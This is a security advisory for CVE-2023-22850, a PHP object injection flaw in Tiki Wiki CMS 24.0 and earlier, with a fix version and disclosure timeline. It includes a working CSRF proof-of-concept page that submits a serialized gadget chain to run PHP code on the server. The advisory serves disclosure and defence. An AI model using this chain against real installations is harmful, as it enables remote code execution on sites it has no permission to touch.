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Tiki Wiki CMS Groupware 24.0 grid.php PHP Object Injection
Tiki Wiki CMS Groupware versions 24.0 and below suffers from a PHP object injection vulnerability in grid.php.
-----------------------------------------------------------------------------Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection Vulnerability-----------------------------------------------------------------------------[-] Software Link:https://tiki.org[-] Affected Versions:Version 24.0 and prior versions.[-] Vulnerability Description:The vulnerability is located in the /lib/sheet/grid.php script, specifically into the TikiSheetSerializeHandler::_load() method, which is using the unserialize() PHP function with user-controlled input. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. Successful exploitation of this vulnerability requires the “Spreadsheets” feature to be enabled and an account with permissions to create a new sheet. However, due to the CSRF vulnerability described in KIS-2023-01, this vulnerability might also be exploited by tricking a victim user into opening a web page like the following:<html> <form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1" method="POST" enctype="multipart/form-data"> <input type="hidden" name="handler" value="TikiSheetSerializeHandler" /> <input type="file" name="file" id="fileinput"/> </form> <script> const popChain = 'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}'; const fileInput = document.getElementById("fileinput"); const dataTransfer = new DataTransfer(); const file = new File([popChain], "test"); dataTransfer.items.add(file); fileInput.files = dataTransfer.files; document.forms[0].submit(); </script></html>[-] Solution:Upgrade to version 24.1 or later.[-] Disclosure Timeline:[07/03/2022] - Vendor notified[23/08/2022] - Version 24.1 released[09/01/2023] - Public disclosure[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-22850 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:http://karmainsecurity.com/KIS-2023-03